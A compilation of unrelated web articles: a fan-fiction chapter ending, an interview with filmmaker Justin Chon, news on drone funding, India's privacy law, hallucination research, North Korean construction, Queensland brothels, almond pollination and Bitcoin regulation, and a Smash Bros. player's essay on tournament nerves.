breath.  Blake's smile grew as Yang pulled her in close for a hug, a chin came to rest in-between her cat-ears.  "Thank you, Blake." She pulled Yang closer, burying her face deep against the crook of the blonde's neck. As she murmured, "For everything."  AN: So, give it to me honest, how'd I do?  This chapter was difficult to write for a myriad of different reasons. One being that I don't have very much dating experience myself, the other most predominate issue was trying to make the dialogue not come across as clichéd tripe…which it still totally is, but hopefully it's not cringe worthy.  Anyways.  As always I hoped that you enjoyed. If you did let me know why and what you enjoyed and if you hated it let me know what you disliked.  And I also hope you are looking forward to next time… Which by the way, you better get ready; the rabbit hole is coming…
-Oct. 20, 2016, 1:04 PM GMT / Updated Oct. 20, 2016, 1:04 PM GMT By Stephany Bai  The Los Angeles Riots of 1992 made a “significant impact” on the life of a then 10-year-old Justin Chon. The actor, who is known for his roles in movies including the "Twilight" series and "21 & Over," told NBC News that his father’s shoe store was looted during the riots and recalls the shock that reverberated throughout the city's Korean community.  When he realized that this aspect of the riots were likely to be neglected in the stories commemorating its 25th anniversary, Chon decided to take action. His feature film, "Gook," tells the story of two Korean-American brothers and their friendship with an African-American girl during the riots.  Filming for "Gook" finished earlier this year, and Chon and his team have created a Kickstarter to help fund the post-production and completion of the film.  The film is one project that fills the need for more diverse roles that Chon and other filmmaker have stressed. Earlier this year, Chon wrote an op-ed for NBC News detailing what he calls a racist audition experience, suggesting that content creation alleviates Hollywood’s issues with diversity and representation. “The more I create original content — whether it be Asian-centric or just people-centric — the more the playing field evens out,” he wrote. “Even if the content is not superlative art, it's still important to put out there.”  NBC News spoke with Chon about his motivations behind filmmaking, "Gook," and his hopes for the film.  What first inspired you to make the film?  I had a basic idea of the story I wanted to tell, but it wasn’t until I heard that there are two other riot films being made and I heard their premise [that I decided to make the film]. It’s just basically out of necessity. I know that when those films come out they will not do the Korean-American story justice for sure. I do have some sort of responsibility, especially being a native and also our family having been through the riots and me being a creator. I thought if I didn’t do it now, and if I didn’t get it out before theirs, I thought our story wouldn’t get told. So that was the motivation behind getting it made this year, and next year is the 25th anniversary [of the riots].  What is the role of the L.A. Riots in your film? How is it a departure from the stories that have been and are continuing to be told about the Riots?  It’s just the time and the place and the cultural social environment at the time. It’s just a different time. It was much more violent back then. It was a very strong setting for my film, and mine focuses on two Korean-American brothers, rather than two Korean immigrants. There have been other attempts, and they’ve focused on straight Korean immigrant stories. I think that’s important, but it’s not relatable to me.  I do make the distinction in my film. Not only is there African American and Korean American relations, it also talks about the inter-generational conflicts. There’s a [character] named Mr. Kim who owns the liquor store across the street, and he’s constantly fighting with the two brothers. That’s how it is. They think, especially amongst Koreans, we’re one team , but even within our culture there’s a huge disparity between immigrants and the second generation that gets born here. I think that gets overlooked and we get grouped into “Koreans.” At that time I think the cultural disparity was even bigger. I think it’s become a little better in terms of communication between parents and kids, but back then it was old country versus new country. That’s a big part of the film as well.  If I didn’t take it upon myself, these stories would not get told.  What was the most difficult aspect of creating this movie?  The whole thing was really difficult. As you know, we’re still trying to raise money on Kickstarter, so the financing was really difficult. But in terms of writing it, I was really sensitive with the Korean aspect of it and how Koreans were going to be portrayed, and also how African Americans were going to be portrayed. And gender! The main character is Kamilla, an 11-year-old African-American girl. Originally [the character] was a boy Kamal. I actually had other female characters in the film, but I had to cut some stuff away because of length and focusing on the real story. When I did that I didn’t feel [the female perspective] got enough either, so I reworked Kamal into Kamilla and I think it was the best choice I could have made.  Kamilla, one of the characters in Justin Chon's "Gook" Birthday Soup Films  It seems like a lot of thought went into making sure you had a range of voices represented in the movie.  Absolutely. I can’t be perfect, and you know, it’s a film. People are going to get mad, no matter what. Even the nature of the title, “Gook,’ is going to arouse some backlash and argument, I’m sure. I can’t service everybody, but I was really conscious of what I was doing. I did try as best as I could. It is still from the Korean-American standpoint because it’s a film. It needs to be from a point of view.  Your op-ed for us in March got a great response in that a lot of people identified and thanked you for speaking out about a widespread problem in the industry. How do you feel the industry is changing with regards to representation, and how can we help continue improvement?  Justin Chon poses for a picture at the BAFTA LA's 2009 Primetime Emmy Awards TV tea party held at the Intercontinental Hotel on September 19, 2009 in Los Angeles, California. Toby Canham / Getty Images  I do feel it’s very important that when there’s a project worth investing in that we should speak with our wallets — which is kind of taboo for Asians, to talk about money, but it’s so important. Film is the most expensive art form, but it’s also the most wide-reaching art form. It has a life, where, after it comes out, future generations can come back and look at it. In terms of speaking out, I think that’s also starting to change. There are people who are very vocal about their opinions on the industry and everything. I’m hopeful, but we still have a tremendously long way to go.  I think people were really scared about losing their jobs or being the one that was going to be in the spotlight for speaking out. And it’s valid. You don’t want to jeopardize your career. It’s sort of like a power in numbers, though, and if we don’t band together and be vocal then how will they will acknowledge or be aware that anything is wrong in the first place.  Related: 'April's Way' Captures Stories of Korean-American Merchants During L.A. Riots  It seems like you've been making more of a push into a behind-the-scenes role, whether it's directing or writing or producing.  I do it out of necessity. It’s a lot of work. You have to worry about a lot of stuff that I don’t want to worry about. You’re kind of like the CEO of a company, you have to manage a lot of different personalities. It’s not something I really enjoy doing. I’m also responsible for everything: how it looks, the music that gets used, the message. And if something goes wrong, I get the flak. Being in that position isn’t the best.  Truthfully I love being an actor. Being an actor is the best because I get to express myself through my instrument. But if I don’t [tell this story], it won’t get told.  Truthfully I love being an actor. Being an actor is the best because I get to express myself through my instrument. But if I don’t [tell this story], it won’t get told. This is a cross section of people, like these two brothers, who I’ve never seen in a movie, ever.  I’ve never seen this type of Korean American ever represented in a film. They’re not smart, they’re just trying to make it work, they’re really blue collar. Most films about Korean Americans are about a kid who’s trying to get into college, or their parents are pressuring them into being a doctor or lawyer, or their mom is a tiger mom. It has nothing to do with that in this film. These two brothers are just trying to survive.  Related: Editorial: I Walked Out On a Racist Audition  They got left this store, and their dad got shot outside their store. They’re left with this thing they feel an obligation towards, that their dad worked so hard for. At the same time, that’s not their dream, but they didn’t go to college. A lot of my friends are like that. And then you have Mr. Kim, who’s more of the de facto Korean immigrant who opened a liquor store and all that.  If I didn’t take it upon myself, these stories would not get told. I feel like no one should have an excuse, because I’m doing it. I want to hear different perspectives. That’s what’s so great about art. I think people are so worried about what other people will think, but I think that’s the beauty of it. That we all come from different experiences. I would just implore people to create and put their voices out there. If you’re aspiring to some artistic endeavors, you should do it. If you wait to support other people, it will take longer.  Actor David So in a still from "Gook." Birthday Soup Films  I was also surprised to see David So, who's known on YouTube for his comedy, taking on a dramatic role.  I rehearsed with him for a month and a half to make sure he was ready for it. I wrote the part for him, so it was tailored for him. The power of YouTube is self-creation, and I wanted to include someone like that to show that they can cross lines and do things beyond what they’re just comfortable with.  Why was the Kickstarter started, and what will the funds go towards?  We did the principal photography for so little, you’d be shocked. For so, so, so, little, and we got so many people to donate their services and time. We were able to get it in the can, and it is an amazing movie. This Kickstarter will help us finish everything, because there’s music we’d like to buy, we need to mix the sound, we need to do additional dialogue recording, graphics and all that stuff. At least in this phase, I think everyone’s being a lot more supportive and I’m really thankful for that.  Justin Chon in "Gook." Birthday Soup Films  And the goal is, this is a really festival-type movie. I think it’s a beautiful movie, not just because it’s my movie, but I think it’s dynamic and the storylines are so compelling. The biggest thing for me in this film is the characters. The characters are so fully fleshed out and compelling, I think that’s what the biggest strength is. They’re not caricatures. And that’s important for Asian Americans, that these are real people.  We’re basically at our goal, but the way Kickstarter works is that you don’t get anything if you don’t make your goal. We actually need a lot more, so every dollar really does help make the film better. It exponentially makes the film better and better. The thirty grand lets us finish the bare minimum. I really feel this is an opportunity to put something out in this world that’s really unique, and I can bet on that for sure.  This interview has been edited for length and clarity.  Follow NBC Asian America on Facebook, Twitter, Instagram, and Tumblr.  Correction: An earlier version of this article called "Gook" a short film. It is a feature-length film.
-Iris Automation Inc. has raised $1.5 million to bring “sense and avoid” technology, and truly self-flying capabilities, to drones used for industrial tasks.  Even for human pilots, identifying obstacles and deciding precisely how to maneuver a fast-flying aircraft around them poses a serious challenge. Iris’ technology analyzes and draws insights from videos captured by cameras onboard a drone in real time. “We’re designing this to work like a human pilot’s vision and decision-making process,” says Iris Automation CEO and co-founder Alexander Harmsen.  Iris Automation, a Y Combinator company, is not alone in the quest to develop computer vision systems that can make unmanned aerial vehicles, and eventually other robotics and vehicles, truly autonomous. Competitors to Iris in the drone industry specifically include SRI spin-out Area 17 (also known as a17), Intel RealSense Technology, Parrot’s SLAMdunk systems and DJI’s Guidance systems.  Harmsen said Iris is building its technology for original equipment manufacturers that don’t have in-house expertise to build their own collision avoidance systems. Iris’s own R&D director Alejandro Galindo holds a PhD in computer vision from INRIA Labs in France, the CEO noted, and other early employees have backgrounds in mechatronics, firmware engineering and sensor fusion.  The reason the Iris team believes industrial drones need a special collision avoidance system has to do with the different ways in which they are used, versus consumer drones. Unmanned aerial systems used in industrial scenarios need to cover long distances and capture video of expansive infrastructure that doesn’t show up on a street map. Some of that infrastructure can also change on a daily if not hourly basis because of everything from construction to weather. Consumer and “prosumer” drones, by contrast, are more typically flown over a shorter distance to do things like take aerial photos or videos above events like a graduation ceremony or wedding.  Investors in Iris Automation’s new round include: Bee Partners, Social Capital, GGV Capital, Liquid 2, Kevin Moore and Pau Bucheit. Bee Partners led the round. A principal with the San Francisco-based fund, Garrett Goldberg, compared Iris Automation to airbag and seatbelt makers in an earlier generation, when such life-saving technologies were new to the automotive industry.  The investor said long term, Iris’ technology would also be applicable beyond drones: “It’s all situational awareness, whether it’s in cars, drones or ships. Cameras are the universal sensor, and computer vision plus machine learning will let these systems see the world the way humans do.”  Iris plans to use its funding to move from a beta stage to commercialization of its software-based sense and avoid technology, its CEO said. One part of that effort is a new, early adopter program led by Iris’s Hassan W. Bhatti, head of growth and partnerships. Another part of that is just getting to fly in simulation and in the real world, as much as possible, with early adopters.  Harmsen said, “It’s all about getting flight hours on the system, testing for false positives and false negatives, talking with regulators and insurance companies and working with our end-clients to launch this and become widespread.”
-India does not have laws regarding privacy and data misuse. This could end badly.  Is privacy a fundamental right? Most people would think so. Indeed, it would be axiomatic. Isn’t this why there are locks on bathroom doors?  Is there something wrong with a country whose government argues in all seriousness that privacy is not a fundamental right? Probably.  We’re not talking about North Korea. We’re talking about a country that proudly claims to be the world’s largest democracy. In July 2015, the Attorney General Mukul Rohatgi argued that Indians don’t have a fundamental right to privacy. This was in the Supreme Court. Several petitions had challenged the rollout of the Aadhaar biometric scheme, saying that the collection and storage of personal data may violate the privacy of citizens.  It’s true. The Indian constitution, which is apparently the longest example of such a document (and definitely the most long-winded of documents), does not explicitly mention the Right to Privacy as a Fundamental Right.  That set of petitions referred to above is pending in the Supreme Court, like so many other petitions. Meanwhile, the Aadhaar Bill was passed without debate recently by labelling it as a Money Bill. The bill would make Aadhaar mandatory for a host of services and establish Aadhaar as the primary variable for establishing ID. In effect, it would make life difficult or near-impossible for anybody who did not possess that ID.  (A Money Bill does not need to be presented separately in the Rajya Sabha and therefore, it can be passed by a simple majority in the Lok Sabha. This is commonly used to ensure that the annual Budget is passed. However, is the Aadhaar Bill reasonably classified as a Money Bill? That labelling has been challenged. It is an important constitutional point in itself – there should be objective criteria for labelling a money bill.)  Whatever judgements the Supreme Court makes in these cases, and however the government of the day (it could be delayed for years) implements the SC decision, we have already jumped the shark.  Aadhaar has been rolled out for over a billion people, and is being used as the cornerstone of KYC in all sorts of systems. Private agencies and government departments already have massive databases of individuals (amounting to 100 million or more in the case of telecom service providers and banks) who have been verified using their Aadhaar ID. Those databases contain additional data pertaining to bank accounts, PAN, driving licenses, passports, medical records, financial portfolios, etc. There have already been a spate of incidents where people have suffered due to massive leaks of Aadhaar data. There will be more such incidents.  Aadhaar is insecure and its collection processes cannot be adequately safeguarded. Nothing that involves sharing digital information across a billion individuals can be safeguarded with much degree of safety.  Apart from the fact that biometrics can change, biometric data can be hacked or forged quite effectively on a mass scale. There are multiple ways to fool biometric fingerprint scanners. White hat hackers have even demonstrated that iris scans can be fooled using publicly available high-res pictures.  In effect, the use of Aadhaar for all sorts of things means there are over a billion Indians wandering around with their digital pants off. But it isn’t just a question of a set of insecure databases being used for provisioning important services.  It’s not just about data security. It’s also about privacy.  Arguably, Aadhaar could be patched and the gaps in the security could be plugged, though this looks increasingly unlikely to be even theoretically possible. Arguably, the government could impose a death penalty on the misuse of Aadhaar data and arguably, it might even be efficient enough to stop a few of the leaks. (Sarcasm alert!)  But that still leaves the issue of privacy. Until privacy is acknowledged as a fundamental right, you cannot legislate effectively for data security: the concept of data security starts with the definition of sensitive data and sensitive metadata. That definition depends on an understanding that privacy is a fundamental right.  So, India lacks the two essential legislative elements that are foundational to creating a secure, or semi-secure digital infrastructure. It doesn’t have a Privacy Law and a Data Protection law. And it does have a government that argues that privacy is not a fundamental right.  What could go wrong?  Here are a few possible use cases.  A) A government agency wiretaps and records over 50,000 hours of conversations involving hundreds of individuals, many of whom are extremely well-known. Those conversations are then leaked into public domain and gleefully used by multiple people to smear multiple other people. Many reputations are damaged or destroyed. Mind you, there are no guarantees that the recordings as released were not forged.  Technically those hypothetical recordings are evidence gathered held in police custody. That means there is a chain of responsibility for securely holding onto those recordings: There is a policeman in charge of the archive, that policeman has a boss, the boss reports to the home secretary who reports to the Home Minister. Has anybody ever been hauled up or punished? No.  B) Somebody goes to a medical lab and takes a medical test for HIV. That test is held in an insecure database and downloaded by a random hacker. That person loses his job and suffers social ostracism. Can he sue the medical lab in question? Apparently not.  C) The government is being embarrassed by a human rights activist who has accused certain senior politicians of being involved in communal violence and murder. In retaliation, the activist has faced inquiries into her financial transactions. Apparently that activist has used her credit card to buy liquor, which is in itself, a perfectly legal transaction. Well, you can gleefully tell everybody that this activist is an alcoholic and in fact, release her entire credit card transaction record. Can the activist sue the government for violation of privacy? Of course not. Privacy is not a fundamental right.  Similarly, somebody who eats beef legally in Kolkata and pays for it by card could be lynched if that information is strategically released while the beefeater is travelling in UP.  D) Millions of debit cards are hacked. Cards are blocked by banks and randomly replaced, causing great inconvenience, including inconvenience to people whose cards were not hacked. In other nations, the banking system would have its collective butt sued off. Class action suits would have been brought by users who were inconvenienced. The security gaps would have been plugged. Here, nothing of the sort happens.  E) Take it further. Your mobile company knows your whereabouts 24×7, using simple triangulation to track your mobile. It has a pretty good idea of what you watch and who you contact. If you happen to have GPS switched on, it can narrow down your location to a couple of metres.  That means your mobile service provider can pretty much lay down a daily report on where you go and what you do, minute by minute. Tie this to your financial transactions by card, or mobile wallet, and another layer of data about your life is wide open.  Then start making intelligent guesses. Say, X went onto the Internet and searched for DIY enema kits. Then he bought condoms and enema kits online and checked into a massage parlour where he was in close proximity to Y. Hmm – what conclusions can you draw?  Answer: IT IS NOBODY ELSE’S BUSINESS if you live in a country which considers privacy a fundamental right.  But you see, location is not considered private or sensitive data in India. And, in the absence of a privacy law, anybody who gathers these data and metadata is free to try and monetise it, or do whatever they like. It could be used to send location-specific advertising (“check into this massage parlour”; “watch this movie which fits with your surfing habits”). It could be used to blackmail X and Y (“IPC 377”) .  There’s a pending DNA Bill, which, among other things, proposes that anybody who makes a police complaint needs to submit DNA. The logic: the complainant’s DNA may be important to ascertain if a crime is committed. Fair enough. Now tell me: How long would that DNA be stored? What else could the police do with it? Can the complainant ask for the DNA record to be deleted? There are no answers.  There’s been a Privacy Bill pending since 2012 when Justice AP Shah analysed the state of the art of privacy. The state-of-the-art has changed considerably along with the technology in the next five years.  The need for a privacy bill has become stronger. Successive governments have tried to evade their responsibility in this regard. Obviously, most governments would prefer not to have to bother with laws that might cramp surveillance. The chances are that this evasion will continue until some sort of extremely embarrassing data leak involving politicians happens.
-Summary: Computational modeling and neuroimaging could help differentiate people with psychosis from those who experience auditory hallucinations without the disorder.  Source: Yale.  People who hear voices — both with and without a diagnosed psychotic illness — are more sensitive than other subjects to a 125-year-old experiment designed to induce hallucinations. And the subjects’ ability to learn that these hallucinations were not real may help pinpoint those in need of psychiatric treatment, suggests a new Yale-led study published Aug. 11 in the journal Science.  People with schizophrenia and other psychotic illnesses often report hearing voices, but so do other people with no diagnosed psychiatric disorder. Philip Corlett, an assistant professor of psychiatry, and Al Powers, a clinical instructor in psychiatry, wanted to identify factors that contribute to auditory hallucinations and to tease apart what makes some people’s experiences troubling and others’ benign.  “Hallucinations may arise from an imbalance between our expectations about the environment and the information we get from our senses,” said Powers, the study’s lead author. “You may perceive what you expect, not what your senses are telling you.”  To test this idea, they used a technique developed at Yale in the 1890s designed to induce auditory hallucinations. In the experiment, four groups of subjects — voice-hearers (both psychotic and non-psychotic) and non-voice hearers (psychotic and non-psychotic) — were repeatedly presented with a light and a tone at the same time while undergoing brain scans. They were told to detect the tone, which was difficult to hear at times. Eventually, many subjects in all groups reported hearing a tone when only the light was presented, even though no tone was played. The effect, however, was much more pronounced in the two voice-hearing groups.  “In both clinical and non-clinical subjects, we see some of the same brain processes at work during conditioned hallucinations as those engaged when voice-hearers report hallucinations in the scanner,” said Corlett, senior author of the study.  In a previous study, the researchers showed that a group of self-described voice-hearing psychics had similar voice-hearing experiences as patients with schizophrenia. Unlike patients, however, they tended to experience these voices as positive and reported an ability to exert more control over them.  The new experiment also used computational modeling to differentiate people with psychosis from those without. People with a psychotic illness had difficulty accepting that they had not really heard a tone and exhibited altered activity in brain regions that are often implicated in psychosis. These behavioral and neuroimaging markers may be an early indication of pathology and could help identify those who are in need of psychiatric treatment, the authors said.  About this neuroscience research article  Chris Mathys of the International School of Advanced Studies in Trieste Italy is the second author of the paper.  Funding: The Brain & Behavior Research Foundation was primary funder of the research.  Source: Bill Hathaway – Yale  Image Source: NeuroscienceNews.com image is credited to Michael S. Helfenbein.  Original Research: Abstract for “Pavlovian conditioning–induced hallucinations result from overweighting of perceptual priors” by A. R. Powers, C. Mathys, and P. R. Corlett in Science. Published online August 10 2017 doi:10.1126/science.aan3458  Cite This NeuroscienceNews.com Article  MLA  APA  Chicago Yale “What Happens When People Hear Voices Others Don’t?.” NeuroscienceNews. NeuroscienceNews, 11 August 2017.  . Yale (2017, August 11). What Happens When People Hear Voices Others Don’t?. NeuroscienceNew. Retrieved August 11, 2017 from http://neurosciencenews.com/What Happens When People Hear Voices Others Don’t?/ Yale “What Happens When People Hear Voices Others Don’t?.” http://neurosciencenews.com/What Happens When People Hear Voices Others Don’t?/ (accessed August 11, 2017).  Abstract  Pavlovian conditioning–induced hallucinations result from overweighting of perceptual priors  Some people hear voices that others do not, but only some of those people seek treatment. Using a Pavlovian learning task, we induced conditioned hallucinations in four groups of people who differed orthogonally in their voice-hearing and treatment-seeking statuses. People who hear voices were significantly more susceptible to the effect. Using functional neuroimaging and computational modeling of perception, we identified processes that differentiated voice-hearers from non–voice-hearers and treatment-seekers from non–treatment-seekers and characterized a brain circuit that mediated the conditioned hallucinations. These data demonstrate the profound and sometimes pathological impact of top-down cognitive processes on perception and may represent an objective means to discern people with a need for treatment from those without.  “Pavlovian conditioning–induced hallucinations result from overweighting of perceptual priors” by A. R. Powers, C. Mathys, and P. R. Corlett in Science. Published online August 10 2017 doi:10.1126/science.aan3458  Feel free to share this Neuroscience News.
-NORTH Korea is to build a replica of Big Ben and the Eiffel Tower for a huge new theme park that will open in its capital Pyongyang.  According to the Associated Press, the only western news agency allowed to permanently operate inside the country, the theme park is to be the crowning glory in a colossal construction project currently taking place across the capital.  The numerous building developments are believed to represent an end to decades of austerity in North Korea, with the government using the slogan "no more belt-tightening" despite reports of mass starvation across the country and conditions in schools and colleges said to be "deteriorating rapidly".  AP reported on the changes in Pyongyang, describing how parts of the city have seen major redevelopment, with supermarkets now selling Coca Cola and other US brands, while "shop girls wear French designer labels, people with money can buy Italian wine, Swiss chocolates, kiwi fruit imported from New Zealand and fresh-baked croissants".  The report comes a month after the China Daily newspaper reported that North Korea was planning to build a mini-golf theme park called the Rungna People's Pleasure Ground in Pyongyang in a bid to double the number of foreign tourists visiting the city.  That project was said to have been directly commissioned by North Korean leader Kim Jong-un as an extension of his interests in sports, in particular golf.  The China Daily report also revealed ongoing projects at Kumgang Mountain, Ullim Falls and in the city of Songdowon on North Korea's eastern coast.  All of these projects are said to be designed in order for foreign tourists to "get a deep understanding of the history and culture of Korea" which will "help enhance people-to-people between the DPRK and the rest of the world."  Despite a major constructive drive in the country, conditions in North Korea have been described as "worrying" by the United Nations.  Food is strictly rationed in many parts of the country, with 25 per cent of children suffering "chronic malnutrition", and 2.8 million people "in need of regular food assistance amid worrying levels of chronic malnutrition and food insecurity", according to a UN report.  The report continued: "Supplies of medicines and equipment are inadequate; water and heating systems need repair and the infrastructure of schools and colleges in deteriorating rapidly".  Electricity supplies are increasingly sporadic throughout North Korea, with power cuts occurring several times a day, even in Pyongyang.
-But during the past financial year, five brothels closed - although one reopened - with 22 legal brothels still open at the end of June 2016, according to the Prostitution Licensing Authority's 2015-16 annual report. "If the information provided to the PLA is accepted, whilst some brothels are highly profitable, others struggle financially, belying the common perception that brothels are a 'licence to print money'," the report reads. Denise Rogers, owner of Silks on Upton on the Gold Coast which opened in 2002, said she would never open a legal brothel today due to poor economic conditions and a proliferation of illegal operators. "Five years ago I wouldn't have said that but now, definitely, if anyone asks me 'should I open a brothel?' I'd say no, there's no money, we battle to make ends meet," Ms Rogers said. "You've got to be crazy to open a brothel now."  Ms Rogers said it cost about $40,000 in fees to open a brothel and managers also had to buy their own licences. "It's ridiculous all the things we have to do - it's like hitting your head against a brick wall," she said. "You've got no choice but to do the right thing. But really, if you have any sense about it, you wouldn't be in a legal brothel." Ms Rogers said legal brothels had to compete against illegal operations, where they did not pay for licences and fees. "It's got worse - there's little rub and tug parlours everywhere," she said.  "You close it down and they go open around the corner." The annual report says that most prostitution in Queensland happens outside of licensed brothels and the contraction of the licensed sector jeopardised the achievements in the Prostitution Act. "Especially given that licensed brothels are acknowledged as providing the safest and healthiest environment for sex work," the report says. But the authority is predicting brothel numbers will stabilise in the next year. Issues affecting the decision to remain in business included economic conditions, return on investment compared to other businesses, entrepreneurial ability and regulatory framework, according to the annual report.  Competition with illegal operators - who did not have the same overheads or regulatory burden - and with sole operator sex workers was also listed as an explanation for the size of the licensed brothel industry in the report. Mr Irwin said in the authority's 16-year history there were no confirmed instances of the infiltration of organised crime, official corruption or human trafficking at any of the state's licensed brothels. He attributed this to the authority's close scrutiny of applicants and monitoring of the state's licensed brothels. "Licensed brothels provide a safe and healthy environment for the conduct of prostitution, with the PLA promoting high standards of health and safety and prioritising the autonomy and freedom of choice of sex workers," he wrote in the report. More than 200 towns in Queensland have received approval from the government to prohibit brothel development applications within their area.  The authority received 30 complaints in relation to prostitution issues in the past financial year, with 15 about the operation of licensed brothels. To be approved, brothels must have no more than five working rooms, be more than 200 metres from a primarily residential area and more than 200 metres from a residential building, place of worship, hospital, school, kindergarten or any other place regularly frequented by children for recreational or cultural activities. Stay informed. Like the Brisbane Times Facebook page.
-The Central Valley of California has the perfect climate for almond trees, but they need a lot of help. So, every year, the valley hosts the largest controlled pollination in the world.  There are about 6,500 almond farms in the Central Valley and they produce 50 to 80 percent of the world’s almonds. There aren’t nearly enough local bees, wild or domesticated, to pollinate all those flowers, so when the almond trees start to bloom, beekeepers from all over the country descend on the Central Valley.  “You can see the trucks coming from out of state. They come from as far as Florida, because it’s their bread and butter,” says beekeeper Rosemary Grissom.  In all, more than 1,500 beekeepers make the trip, and they bring billions of bees with them. When the almonds finish blooming, some of these beekeepers will take their hives on to pollinate other crops — cherries in Washington State, squash in Texas, cranberries in Wisconsin.  Grissom says a lot of people assume that beekeepers make a living from honey, but renting out their bees to farmers is how most of them pay the bills. In February, when a lot of winter rain sent the California almond crop into bloom, almond farmer Joe Del Bosque rented about 1,500 hives from Grissom for $180 dollars apiece.  But recently, beekeepers like Grissom have been struggling to cope with the widely reported, but still mysterious, phenomenon known as Colony Collapse Disorder, which has devastated bee populations throughout the country. Grissom says every year it seems like one of her friends gets hit.  “Three years ago it was our turn,” she says. “We had these two yards and there were 240 hives in each yard. I went in, in December, and one day this one was gone and then that one. It took all of them; they died. You’d look in a hive and there would be a queen and ten bees.”  Scientists say disease and parasites have weakened hives, and recent studies have linked bee decline to the use of pesticides called neonicotinoids. Joe Del Bosque says he tries to use products that are friendly to bees and only apply them at night when the insects are in their hives. And whatever he does, he gives Grissom plenty of warning.  “My pest control advisor is in constant communication with her,” Del Bosque says. “Whenever anything is happening, she needs to know. That way, she can determine if we’re using a material that’s not dangerous to bees, or, if it is dangerous, what she needs to do. In some cases, they cover up the bees [and] in some cases we move them out.”  For her part, Grissom says she just has to plan for the worst and create extra hives.  “We just make more bees,” she says. “Last year, instead of making 500 new ones we made 800, because you don’t know how many you’re going to lose in the winter. And then sometimes that doesn’t even cover it.”  So far this year Grissom’s bees are doing pretty well. After the almond bloom ends, she’ll take them over to pollinate Del Bosque’s melons.  As for Del Bosque, he’s going to keep on growing almonds. Prices are low right now, but they’re still a lucrative crop that he’s invested a lot of money into. But the future is less certain. Almonds need a lot of water and a lot of bees, and right now both are in short supply.  This article is based on a story that aired on PRI's Living on Earth with Steve Curwood
-Sabine Scheckel / Getty Images  A European financial watchdog will issue a stern warning Friday about the risks associated with unregulated Internet currencies like Bitcoin.  The European Banking Authority statement will highlight the “violent fluctuations in [the value of] electronic currencies,” the danger that digital wallets may be hacked, and the lack of legal protections for users, the Financial Times reports. The value of Bitcoin has fluctuated wildly in recent months, swinging between $340 and $1240 this week alone.  The move comes after the People’s Bank of China ruled this month that Chinese banks will not process or insure Bitcoin transactions. Many financial investors have been enthusiastic about the usefulness of the stateless, digital currency, which can cut down on transaction fees and facilitate anonymous financial transactions online, but regulators fret over the ease with which Bitcoin, and other digital currencies, can be used for money laundering and other criminal activity. The online illegal drug marketplace Silk Road, which was briefly shut down by authorities after the arrest of its founder, operated entirely on Bitcoin.  [The Financial Times]
-By Kevin “PPMD” Nanney of Evil Geniuses  Hey guys! I thought I would write my next article based off of some feedback for what YOU all asked for and I think this topic hits close to home for both new players and high level players alike. Consider the following: you are a new player coming to a local tournament where you’ll be up against people who have honed their skills for years and maybe some have performed very well and their YouTube videos have tons of views. That’s pretty intimidating! This fear doesn’t exactly go away when you level up though. When most players go to EVO, MLG, Apex and try to get into a small portion of the bracket they have to go through players who have all possibly played for years, have home field advantage, have the crowd behind them, use a character you struggle against, and/or possess skills that might counter your own. It feels like any one of them could take you out with little remorse, then the same feeling of intimidation strikes. Now that I imagine I have many players’ attention, I want to say that there are real ways to deal with some of this worry. I cannot go into everything possible here, but I will highlight a few mental techniques, which have provided me and others in many walks of life relief and confidence to beat their opponents. Changing your scope of the competition, trying to beat the guys in front of you, and a sharpening or reminding of your own solid game plan, should be fine starts to bolster anyone who is trying to take competition seriously.  The very first issue that should be addressed is one of scope. Feeling like there is a sea of people who are out to get you will overwhelm anyone! The truth is though, that at a given tournament, you will only have to play a small fraction of the people who are actually present no matter what. If you imagine yourself having to play 5-15 people instead of the 50-700 people that might be at the event, it feels much more doable. This is partly because the comparison feels comforting, but it is also because you can then begin the second step to handling your tournament worries.  That next step is breaking your tournament goals into smaller steps. In a broad sense, this type of thinking is great because no matter how difficult your long term goal is you can always simplify it into smaller goals to achieve right now and in a little while. In the context of tournaments however, it is a great idea to consider that you only have the next guy to beat instead of thinking you have every person to beat. Break your process into steps. When I first broke out at a national almost 5 years ago, I was concerned about the high level of talent there. I was very worried about how the bracket would turn out because I wasn’t very well-known, but I wanted to prove myself. I knew I had to play Darc, a strong Jigglypuff from MA next, and with the support of NC and zeroing in on him I only thought of beating him. That was way more productive than worrying about every other good player there. They weren’t my opponents! It didn’t matter what Mango or anyone was doing at that tournament at the time because in order to play any of them, I had to play Darc first. As I focused in on him and got my support, I felt more certain and began to solve the problem of beating this particular strong player in front of me.  My method of solving the problem of the next opponent is applicable to everyone at every level of play. This solution is to go back over your game plan. It sounds silly, but your own knowledge is comfortable and is also your source of advantages in the match. It makes sense to have it as close to the surface of your mind as possible. I’m not talking about sitting in a corner, reading notes or reciting everything you’ve ever read about a matchup to yourself, but even a simple reminder can do wonders for confidence. When you know what a matchup is like and what you can expect, you can know what to expect of your opponent. If he is a Falco, he’s going to shoot lasers and try to mess you up once you shield. If he’s a Jigglypuff, I had to remember he would be playing slower and be looking for me to make mistakes, so he could kill me. Meanwhile, I knew I could catch Jigglypuff if she landed on the ground with lasers. If I stayed safe, but did some grabs I could not take any huge risks while being able to punish hard if I got any openings. This type of thinking really calmed me and even though I was still nervous. I was now certain I could handle it if I executed what I knew very well.  I ended up having an incredibly nail-biting set with Darc and managed to clutch out a 2-1 come from behind victory, which helped propel me into the Smash spotlight! I am certain that the mental techniques I describe here helped reduce my helplessness and gave me some of the confidence to succeed. A quick note about anxiety and tournaments: some people might be incredibly nervous before events while others might not wake up until it’s time to compete and thrive under pressure. There is no one “best” way to feel. However, having a relatively clear mind and being focused on your immediate opponent, while having some level of confidence is a terrific aid to success in any walk of life. I highly encourage you to try out these strategies as well as find others and that will lead to a great performance! Remember to reduce your scope, your short-term goals and opponents, your own game plan, and you will be surprised at what you can achieve in competition.  Follow Kevin on twitter @EG_PPMD
